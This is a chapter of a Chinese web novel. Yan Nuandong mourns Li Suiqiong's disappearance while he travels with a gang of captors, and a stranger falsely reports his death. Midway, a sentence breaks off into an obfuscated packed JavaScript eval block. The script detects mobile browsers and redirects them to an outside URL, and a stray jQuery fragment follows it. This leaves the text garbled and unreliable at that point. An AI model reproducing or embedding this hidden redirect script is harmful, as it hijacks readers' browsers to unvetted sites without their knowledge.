回到家中时,小包子立在门口,一脸担忧地看着燕暖冬:“主人,你还好吗?”
燕暖冬没说话,走进院子,推门来到李碎琼的房间。
依旧是空无一人。
立在门口静默许久,她面无表情地走了进去,点燃蜡烛,点亮了整个房间,除了她黯淡的双眸。
又在房间停留片刻,才沉静地转身出了房间,默不作声抱着许多蜡烛,将整个院落点上烛火。
小包子一直小心翼翼地跟在她身后,最后陪着她坐在门口。
夜风的凉意逐渐渗透骨髓,烛火随着微风摇曳,一大一小两道影子也在地上摇摆不定。
小包子四肢缩进身体里,牙齿不停打颤:“主人,你别难过了,李碎琼那么爱……舍不得你,一定还会回来找你的。”
燕暖冬语气平静,目不斜视:“我没有难过。”
难过的人,至少会哭,她又没哭。
她只是觉得,心里有点空。
一个日夜相处三个月的人,突然之间消失,任谁都会觉得空落落,很正常。
小包子侧首看着她,似乎确实没有从她表情中看出任何异样,便没再说话。
燕暖冬直视前方,主动开口问:“你为何会认定,他一定会回来找我?”
这话将小包子问住,它垂下两只大圆眼,左右转动,支支吾吾,一时没想好说辞。
“我跟李碎琼,我们的从前,是什么关系?”她追问,依旧看不出悲喜。
小包子沉思片刻,转首看向燕暖冬:“是他算计死了你的前世爱人。”
闻言,燕暖冬面上终于有了表情,因为她觉得不可信。
遂她转首看向小包子无有半点心虚的双目,想找出一丝漏洞。
然而,没有。
所以,她跟李碎琼,在前世是仇人?
她有些后悔问这个问题了,不过,前世的事,跟这一世有何关系?这一世的李碎琼,可从未做过对不起她的事。
“主人,你也知道,即便他现在回来,也活不过明年,早晚都是要离开你的。”
还不如趁对他用情不深时,放下他。
燕暖冬回过视线,是啊,他还生着病,若是没有汤药维持,他该怎么办?
还有洗澡,他那么臭美……
正在这时,正前方走来一个人,脚步声很轻,缓缓靠近燕暖冬。
不用看,仅凭衣袂,燕暖冬知道,是谢故。
她未看他,只垂着眸,木讷地低声道。
“他真的消失了。”
谢故背着光,他的影子几乎将她完全遮住。
而身旁的小包子与他是第一次见面,它见到谢故,瞪着大眼不说话,瞬间安静下来。
谢故看了它一眼,许是从他眼中读懂什么,小包子回过神,转身看向燕暖冬:“主人,既然你朋友来了,那我先回房间睡觉了。”
说罢,便伸出四肢,蹦跳着回房间了。
它走后,谢故来到燕暖冬身旁,与她并肩而坐,始终沉默不语,只陪着她。
是燕暖冬先打破了寂静了氛围,却似是在自言自语:“他离家出走,是为了赚钱。”
“你说他傻不傻?”
突然,泪水从她眼中肆意而下,她垂头,绷紧眉头。
“我跟他说的话,他一句都没听进去,旁人说的,他倒是听进去了。”
真的好傻,她也是第一次被人傻哭。
谢故侧首含泪看她,第一次没有在她哭时,将她圈入怀中。
即便他很想。
此时,李碎琼所坐的马车还在前行,路过一家客栈,情绪逐渐平复后,他闻了闻自己身上的味道,但他几乎一直在哭,有些鼻塞的他闻不到任何气味。
最后,他还是叫停了马车。
“我要沐浴。”
老实一路,从未说过一句脏话的王二狗怀疑自己耳朵出了问题,他皱眉侧向马车里:“什么?你要干什么?”
李碎琼再次道,语中带着幼稚的威胁口吻:“我要沐浴,否则,我不跟你们一起去雪山了。”
不去雪山怎么能行?
王二狗骂骂咧咧地停了马车:“这事我做不了主,你等着,我问问老大。”
随后跳下马车,转头去找陈大胆说了李碎琼的诉求。
陈大胆得知后,也是一顿臭骂,本想将他敲晕,直接把他带到雪山,一了百了。
但想到他们身上背负着几条人命,若是他半路醒来不配合,引起旁人注意,难免生出事端。
罢了,不过是洗个澡,又不费什么银子,他还能洗出花来?
就洗吧。
于是,王二狗又来到李碎琼马车前,‘请’他下了马车,二人进了客栈,订了一间房间。
李碎琼按照往常燕暖冬给他搭配的汤浴,选了沉香、龙涎香、腊梅、人参等等......
还‘善解人意’地少选了几种。
最后拿了一盒香膏,一脸人畜无害地转头看向张着嘴巴说不出话的王二狗。
“只要这么多,付银子吧。”
说罢,也不管王二狗脸上惊讶的表情,独自转身去房间洗澡去了。
半晌,回过神的王二狗正要开骂,一个手却伸到他眼前,他转头撞见笑盈盈朝他伸手的客栈老板:“不多,十两银子。”
多少?!十两?谁家洗次澡要花十两银子?!这都够他半个月的吃喝了!还是大吃大喝!
王二狗忍着火气,冲客栈老板摆出微笑表情,割肉般掏了银子。
最后还要在马车外受冻等他出来,继续出发。
等到半夜,再换人驾李碎琼的这辆马车,而王二狗去后面的马车里歇息。
待第二人通天大亮,再换他来。
而这天以后,每至天黑,燕暖冬都会在院子里点亮许多烛火,只为了李碎琼归家时,不会以为家里没人。
到了白天,她偶尔会独自一人到城外湖边,抬眸静静注视着那两个名字许久。
一连过了七八日,她心里依旧空落落的,但脑中却不断浮现她与李碎琼从相视到那日许愿时的点点滴滴。
时而发笑,时而流泪。
此时,李碎琼与陈大胆几人停下马车歇息,一行人坐在另个角落的湖边,笼起火堆,烤了许多红薯。
烤好后,王二狗用树枝扒拉出一个红薯,将它滚到李碎琼脚下,语调有些阴阳:“吃吧。”
李碎琼垂眸看了眼地上黑乎乎的东西,本欲伸手捡起它,但想到什么,又抽回了手。
看着王二狗,摇了摇头:“这个是地上的脏东西,我不吃。”
此言一出,被当做下人‘伺候’了他一路的几人瞬时炸了,不堪入耳的话随之响起。
“这他娘的是红薯!红薯你不知道吗?土鳖!它就是地上长的!”
“你他娘的不吃就饿着,饿死你!”
“靠,真没见过这么矫情的男的,这不能吃,那不能碰,身上还挂这么多香包,骚死了!”
“这么多天,我真是伺候他伺候够了……”
李碎琼只睁着清澈的双眸看他们,而这时,有一群人路过这里,他双手撑着地站起身,作势就要往回走。
“那我回家就是了。”
见状,陈大胆他们哪里肯放过他,但周围有人,他们不好动粗,只好纷纷‘哄’着他,一口一个祖宗的叫着,又命令一个小弟去镇上给他买不是地上的东西。
燕暖冬离开了湖边,怅然若失般回到家中,门口立着一红皮壮汉,手里捧着一个盒子,面露悲色,似乎在等她。
见到她,立马拉着不符合他气质的哭腔,扑到她面前:“请问姑娘,你可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117653|188783||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识得李碎琼?”
燕暖冬见他扑过来,以为他是疯子,立马警戒地后退一大步,怕被讹上,不让他碰到自己分毫。
但听他提到李碎琼,顿时眸中浮光,直点头:“当然识得,你也认识李碎琼?他去哪里了,你知道吗?”
听她承认,汉子试探地问:“那不知你与李碎琼是何关系?”
燕暖冬被问住,思索半天,急道:“你别管我跟他是什么关系,你只管说他在那里。”
闻言,汉子哭声更大了些,直接扑通跪下:“妹子啊,你可要做好心理准备,几日前李贤弟随我们出城做生意,未料他身子骨这般的弱,半路上染了瘟疫,李贤弟他已经……”
他懊悔地垂下头,咬牙哭泣:“去了,前些时日刚被火化。”
后面的话如雷般,直击燕暖冬脑中,她被震在原地,半晌没有反应,大脑也一片混乱。
失神地接过汉子手中的骨灰盒,耳边嗡嗡地响,视野不知为何也变得模糊不堪。
不一会儿,盒子上被染湿一大片,她还僵在原地,身体似乎没了温度,心脏处猛然传来前所未有的疼痛。
死,死了?李碎琼死了?
“暖冬?”
“燕暖冬?”
“燕暖冬,你怎么了?能听到我说话吗?”
身体似乎被谁晃了几下,燕暖冬愕然地抬起凝着泪珠的双眸看去,她看不清来人的模样,也听不清来人的声音。
紧接着,一个温热的手掌不停在她脸上,眼圈擦拭,她才看清了来人,是谢故。
她伸出一只颤抖的手,指向面前跪着的红脸男人,哭出了声,不停抽噎:“他,他说李碎琼死了。”
“李碎琼死了。”
“他死了。”
“谢故,我心脏好疼,我……”
她捂着胸口,几乎快窒息过去。
“我好难过。”
谢故不停安抚她失控的情绪,低眸看着地上的汉子:“你说李碎琼染瘟疫死了,那他死前可曾留下什么遗物或者遗言?”
问出口。汉子先看向哭得撕心裂肺的燕暖冬,似乎猜出了她与李碎琼的关系。
同住一屋檐下,感情深厚,还是异姓,恐怕只有一种关系说得过去了。
想到这里,他点头,掏出一个香包,递给燕暖冬:“这是李贤弟半路亲手为弟妹挑选的香包。”
燕暖冬接过男子手中的香包,是那日她为了哄李碎琼开心,给他买的。
这无疑是铁证,她哭得更伤心了,上气不接下气。
全然没听男子口中说的什么弟妹,李碎琼给她买的香包之类的话。
谢故盯着男子看了许久,温和地朝他笑了笑:“李碎琼死前,可有什么遗言?”
男子看了看谢故,又看了看燕暖冬,以为谢故是燕暖冬的小情夫。
为了讨好谢故,再次自作聪明:“有的,有的,李贤弟说此生有负弟妹,望她早日忘记他,改嫁良人。”
闻言,谢故眯了眯眼,牵起唇角:“他亲口说让燕暖冬忘了他?还让她改嫁良人?”
男子见谢故笑得合不拢嘴,看来是说到他心坎里了。
“是啊,李贤弟死前亲口说的。”
语落,谢故笑出了声,轻声道:“拿下。”
随即涌上来两个侍卫装扮的男子,一手按住壮汉一个肩膀,将他押了下去。
泣不成声的燕暖冬看着这一幕,反应了一会儿,停下哭声,泪珠还挂在眼角,不解地看着谢故。
谢故解释:“方才那厮的话漏洞太多,不可信,我猜测,李碎琼定然还活着,我现在去审问他,你在家中切莫胡思乱想,等我消息。”
言罢,谢故便转身离开了,燕暖冬止不住又抽噎了几下,彻底回过神,哪里能在家里待得住,擦干泪水,快步追了上去……